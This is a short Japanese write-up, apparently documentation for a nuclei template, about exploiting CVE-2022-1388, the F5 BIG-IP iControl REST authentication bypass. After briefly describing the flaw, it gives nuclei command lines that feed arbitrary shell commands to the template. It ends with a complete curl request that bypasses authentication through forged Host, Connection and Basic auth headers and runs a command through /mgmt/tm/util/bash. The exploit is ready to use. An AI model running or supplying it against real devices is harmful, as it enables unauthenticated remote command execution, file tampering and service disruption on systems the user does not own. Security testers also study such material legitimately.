
CVE-2022-1388 は、BIG-IP の iControl API の REST コンポーネントにおける認証バイパスの脆弱性であり、CVSSv3 スコア 9.8 が割り当てられています。iControl REST API は、BIG-IP デバイスの管理と設定に使用されます。CVE-2022-1388 は、BIG-IP を使用するデバイスの管理ポートまたはセルフ IP アドレスへのネットワークアクセスを持つ認証されていない攻撃者によって悪用される可能性があります。悪用されると、攻撃者は任意のシステムコマンドを実行し、ファイルを作成・削除し、サービスを無効にすることができます。
この nuclei テンプレートは、エクスプロイトのためのシェルパラメータを受け入れます。別のワークフローや手動検索で取得したトークンをテストしたかったため、nuclei の CLI 変数機能を使用して、実行時に単一のトークン値またはトークンのリストをこれらのテンプレートに動的に供給しました。
-V, -var value custom vars in var=value format
nuclei -l targets.txt -t exploit-CVE-2022-1388.yaml -vv -var CMD=commands.txt
nuclei -l targets.txt -t exploit-CVE-2022-1388.yaml -vv -var CMD=uname -a

curl -su admin \
-H "Host: localhost:8100" \
-H "Content-Type: application/json" \
-H "Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: a" \
-H "Authorization: Basic YWRtaW46" \
http://{{TARGET_IP}}/mgmt/tm/util/bash \
-d '{"command":"run","utilCmdArgs":"-c id"}'